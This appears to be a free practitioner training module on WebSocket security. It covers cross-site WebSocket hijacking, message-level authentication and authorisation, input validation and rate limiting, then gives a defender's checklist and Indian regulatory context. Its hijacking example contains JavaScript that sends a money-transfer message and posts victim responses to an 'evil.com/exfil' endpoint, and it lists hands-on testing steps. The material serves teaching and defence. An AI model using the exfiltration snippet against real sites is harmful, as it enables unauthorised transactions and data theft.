Module 24 · WebSocket Security

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 27, 2026
11 min read
Read as

Last updated: May 1, 2026

100% Free

No signup. No paywall. No catch. One of our 10 most-requested practitioner modules — published in full so anyone can learn for free. We earn through consulting, not by gating knowledge.

See all 10 free modules →

Why this module exists. Real-time chat, live trading dashboards, multiplayer games, collaborative editors — all run on WebSockets.

Why this module exists. Real-time chat, live trading dashboards, multiplayer games, collaborative editors — all run on WebSockets. And every web pentester I know has found at least one critical WebSocket bug because developers treat the protocol as “HTTP-but-faster” without realising the security model is fundamentally different.

How WebSockets differ from HTTP

  • Single connection, bidirectional — once upgraded, the server can push to the client without a request.
  • No same-origin policy at the protocol level — browsers enforce SOP for HTTP fetch, but WebSocket connections from JS aren’t blocked by SOP. The server has to enforce origin.
  • No automatic CSRF tokens — every form library handles CSRF; WebSocket libraries usually don’t.
  • Message-based, not request-based — once the connection is established, every message after that is “trusted” unless the server checks each.

Bug class 1: Cross-Site WebSocket Hijacking (CSWSH)

Equivalent of CSRF for WebSockets. Attacker hosts evil.com with JS that opens a WebSocket to wss://victim.com/ws. The user’s browser includes the victim.com session cookie automatically (cross-origin cookies on the upgrade request). Server accepts the connection, treats messages as authenticated.

The bug:

// On evil.com:
const ws = new WebSocket("wss://victim.com/ws");
ws.onopen = () => ws.send(JSON.stringify({ action: "transferMoney", to: "attacker", amount: 99999 }));
ws.onmessage = (e) => fetch("https://evil.com/exfil", { method: "POST", body: e.data });

If victim.com doesn’t validate the Origin header on the upgrade request, the attack succeeds.

Fix: server checks req.headers.origin matches the expected origin (your own front-end). Reject otherwise.

Bug class 2: missing authentication on messages

Common pattern: authentication happens at upgrade time (cookie or header). After that, every message is treated as authenticated. But:

  • Sessions expire — server should re-check on each message, or at least on privileged operations.
  • Multiple users sharing a server-side connection (rare but happens) means message-level auth tokens needed.

Better pattern: every message includes a JWT, or the server tracks per-connection identity and rate limits per user.

Bug class 3: message-level authorisation

Even with authenticated connections, server must check that this user can perform this action. Real bug from a HackerOne disclosure: chat app where a WebSocket message of { "action": "delete", "messageId": "X" } would delete any message — server didn’t verify the message belonged to the requesting user. IDOR via WebSocket.

Bug class 4: input validation gaps

WebSocket messages are often parsed with JSON.parse and dispatched to handlers. If handlers don’t validate types, you get:

  • NoSQL injection via embedded operators
  • Prototype pollution via merge operations
  • SQL injection if the message hits a SQL backend

Treat WebSocket messages with the same suspicion as HTTP request bodies.

Bug class 5: rate limiting and DoS

WebSockets are persistent. A single client can open thousands of connections (or send millions of messages on one connection) cheaply. Without rate limits, this is a trivial DoS. Real-time apps in 2026 typically:

  • Limit connections per IP (50-100 max)
  • Limit messages per second per connection
  • Limit message size
  • Drop connections that don’t send a heartbeat in N seconds

Real-world cases

  • Slack 2017 — CSWSH on a Slack subdomain; bug-bounty disclosed.
  • Various chat apps — IDOR via message-level operations; consistent pattern.
  • Trading platforms — message authorisation flaws letting users place orders for accounts they don’t own.

Try this yourself

# Test for CSWSH
# 1. Find a target with WebSocket: open it in your browser, observe in DevTools Network tab
# 2. Note the wss:// URL and any cookies sent
# 3. Build a CSWSH PoC

# Burp Suite has full WebSocket support: Repeater, Intruder all work over WS.
# 1. Intercept the upgrade
# 2. Send to Repeater
# 3. Replay messages, modify, fuzz

# Quick CLI test
websocat --header "Cookie: session=..." wss://target.com/ws
> {"action":"...","data":"..."}

Defender’s checklist

  • Validate Origin header on every upgrade request. Maintain an allow-list of expected origins; reject all others.
  • Consider CSRF tokens — pass a token in the upgrade query string that the server validates against the session.
  • Per-message authorisation — check that the authenticated user is allowed to perform the requested action on the requested resource. Not just “are they logged in”.
  • Input validation — JSON Schema for every message type. Reject unknown types; reject malformed payloads.
  • Rate limiting — connections per IP; messages per second; message size.
  • Heartbeats — close idle connections to prevent resource exhaustion.
  • Logging — log every connection (origin, IP, authenticated user) and at least every privileged message.
🧠
Check your understanding

Module Quiz · 6 questions

Pass with 80%+ to mark this module complete. Unlimited retries. Each question shows an explanation.


⚙ Optimisation · Performance · Security — extended

Practical depth on what to tune, what to harden, and how this maps to Indian regulatory expectations.

WebSocket security — what HTTP defences do not transfer

WebSocket starts with HTTP, then upgrades to a persistent bi-directional connection. Several HTTP defences do not transfer: SameSite cookies apply to the upgrade request only; once upgraded, the connection persists across navigation. CSRF protection via tokens needs explicit per-message validation. WAF rules typically inspect HTTP only — WebSocket frames pass through untouched. Defences:

1Authenticate at the upgrade — verify session / token; reject anonymous upgrade.
2Validate Origin header on upgrade.
3Rate-limit messages per connection.
4Authorise every message — do not assume “connected = trusted”.
5Encrypt with WSS (TLS); never WS in production.
6Idle-timeout connections; long-lived connections accumulate state.

Operational hardening + detection

1Maintain a per-connection auth context; mutate (logout, role change) propagates to live connections.
2Schema-validate every inbound message; reject unknown types.
3Implement back-pressure to prevent client floods.
4Detection: alert on connections lasting unusually long, sending unusually many messages, or originating from unusual locations.
5Log every message header + size (not body for privacy under DPDP). India context: WebSocket usage is growing in Indian fintech (live trading, betting), e-commerce (live chat), and gaming. Pentest scope should include WebSocket-specific tests (CSRF on upgrade, message-level authz, rate limit).

WebSocket performance and back-pressure

Long-lived WebSocket connections accumulate resource cost. Performance considerations:

1Per-connection memory — TLS context, send/receive buffers, app-level state. 10k connections at 50 KB each = 500 MB.
2Idle-connection density — many connections rarely send messages but still consume FDs. Use epoll / kqueue / IOCP-based servers (uWebSockets, ws on Node) for high density.
3Back-pressure — server cannot keep up with message rate; messages queue, memory grows, OOM kills the process. Implement explicit back-pressure: when send-buffer exceeds N bytes, drop or close.
4Compression — permessage-deflate trades CPU for bandwidth; tune by message size pattern.
5Client-side reconnect with exponential backoff — naive reconnect loops thunder-herd the server on outage. Indian context: trading apps and live-stream apps have hit WS scaling limits with naive Node.js servers; uWebSockets / Centrifugo / NATS-based architectures handle 100k+ concurrent connections per node.

WebSocket attack tooling and detection

Tooling:

1Burp Suite — intercept and modify WebSocket frames; the WebSockets History tab.
2wscat — interactive WS client for manual probing.
3OWASP ZAP — passive WS analysis.
4websocat — Swiss-army-knife WS tool for scripted testing. Detection patterns: alerts on
1connections from anomalous geos for an authenticated user;
2high message rate for an idle conversation type;
3abnormal message sizes (potential payload tunnelling);
4connections lasting unusually long (resource leak or covert channel);
5authentication failures clustered in time. Logging strategy: log connect / disconnect / authenticate events with full metadata; log message-summary (type, size, timing) but NOT body for DPDP-aligned privacy posture.

WebSocket auth at scale — the redis-pubsub pattern

For multi-instance WebSocket deployments, authentication state must be shared across nodes. Pattern:

1Client authenticates via HTTP, gets a session token.
2WebSocket upgrade includes the token; server validates against shared session store (Redis).
3Subsequent messages do not re-authenticate — the connection is bound to the validated user.
4When the user logs out (HTTP), publish a “session-invalidated” event on Redis pub-sub; every WebSocket node listens and disconnects matching connections. Token-rotation handling: when access tokens expire, send a “token-refresh” message; client re-authenticates via HTTP and updates server-side state. Failover: WebSocket connections drop on node failure; client reconnects and re-authenticates. Detection: a WebSocket connection that survives a session-invalidation event is a bug or an attack — alert. For Indian trading apps: session-bound order-streaming requires this pattern; without it, a stolen cookie continues to receive market data after logout.

Performance discipline that strengthens security

A practical performance discipline that applies regardless of the specific vulnerability class is to instrument every endpoint with three SLOs: latency at the 50th, 95th, and 99th percentiles. The 50th percentile reflects typical user experience, the 95th catches tail behaviour visible to a meaningful fraction of users, and the 99th captures the long-tail outliers that often hide bugs (timeouts on a stale dependency, locking contention under load, garbage-collection pauses on a hot endpoint). Every release should compare these percentiles against the previous baseline; regressions of more than ten percent on the 95th percentile are typically worth investigating before shipping. Modern observability stacks make this routine — Datadog APM, New Relic, Honeycomb, Grafana Tempo with OpenTelemetry instrumentation, and on the open-source side Jaeger plus Prometheus plus Grafana — but the discipline matters more than the tool. Indian product teams that have adopted this percentile-driven culture report fewer surprise outages and a smaller incident-response load over time, which compounds into a stronger security posture: the same instrumentation that catches a slow endpoint also catches an exploitation attempt that forces unusual code paths.

Observability that catches attacks alongside outages

Observability for security overlaps with observability for reliability but adds a few specific signals worth instrumenting. First, application-layer authentication and authorisation events should produce structured logs with the user identifier, the action attempted, the source IP, the User-Agent fingerprint, and the outcome. Second, every state-changing API call should log its idempotency key, the request body shape, and the resulting object identifier. Third, every external dependency call should log the destination, the response code, and the latency. Together these three categories produce a clean event stream that a SIEM can correlate to detect both functional regressions and active attacks. The cost is moderate — log storage in Elasticsearch or Splunk runs perhaps thirty to sixty rupees per gigabyte per year at typical Indian-tier prices — and the payoff is dramatic: incidents that previously took days to investigate are typically resolved in hours when the relevant evidence has been pre-indexed. Indian regulators increasingly expect this level of operational logging, particularly RBI under the Cyber Security Framework Annex 1 and SEBI under the CSCRF master circular.

DPDP and sectoral obligations a practitioner cannot ignore

Under India’s Digital Personal Data Protection Act 2023, the operational obligations on any web application that handles personal data extend beyond simple consent collection. Section 8 requires that data fiduciaries implement reasonable security safeguards — interpreted in practice as reflecting a documented information security programme, regular vulnerability assessment, and demonstrable controls aligned to a recognised standard such as ISO 27001 or NIST CSF. Section 9 imposes data principal rights including access, correction, and erasure, which means the application must be architected so that these requests can be fulfilled within the prescribed timeframes (currently expected to be on the order of thirty days). Section 8(6) imposes breach notification: when a personal-data breach occurs, the data fiduciary must notify the Data Protection Board and affected data principals within prescribed timeframes (the draft Rules suggest seventy-two hours for material breaches). For the practitioner this translates into specific engineering tasks: data inventory and lineage tracking, retention controls and automated deletion at end-of-purpose, audit-grade logging of every access to personal data, breach-detection telemetry, and a formal incident-response playbook with regulatory-notification templates. The 2024-2025 inspections by RBI and SEBI of regulated entities have already cited DPDP-overlay obligations, so the alignment is not theoretical; it shapes what auditors expect to see in the next inspection cycle.

A small threat-modelling routine before every release

A short threat-modelling exercise specific to this vulnerability class is worth running before each release. The classic STRIDE framework — Spoofing, Tampering, Repudiation, Information disclosure, Denial of service, Elevation of privilege — provides a useful checklist when applied to the specific data flow at hand. Begin by drawing the data flow for the feature being changed: external actors at the edge, the trust boundaries they cross, the back-end services involved, the data stores read or written, and the third-party integrations called. For each trust boundary crossing, ask which STRIDE categories apply and what controls mitigate them. The output is a small set of testable assertions: this endpoint must not allow tenant A to read tenant B’s records, this mutation must require step-up authentication, this third-party call must validate the response signature, and so on. Convert each assertion into an automated test or a manual verification step in the release checklist. The discipline pays off in two ways: first, it catches design-level bugs before they reach code review; second, it produces an auditable record of security thinking that regulators value. Indian product teams that have institutionalised this practice report fewer security incidents and shorter mean-time-to-remediate when issues are found, which compounds into better customer trust and lower regulatory friction over time.

Further reading

Additional FAQs

Can I use WebSocket without TLS internally?

Strongly discouraged. Even on internal networks the data-in-transit threat is real (compromised host, lateral movement). Always WSS.

How do I implement rate-limit on WebSocket?

Token-bucket per connection on inbound message rate; close the connection if exceeded. Server-side state since per-connection context is already maintained.

Want this for your team?

Custom team training + practitioner advisory

Beyond the free academy — we run private workshops, vCISO advisory, and red-team exercises tailored to your stack. For Indian SMBs scaling past their first hire.

Book team training call Replies in 4 working hrs · India-only · Senior consultants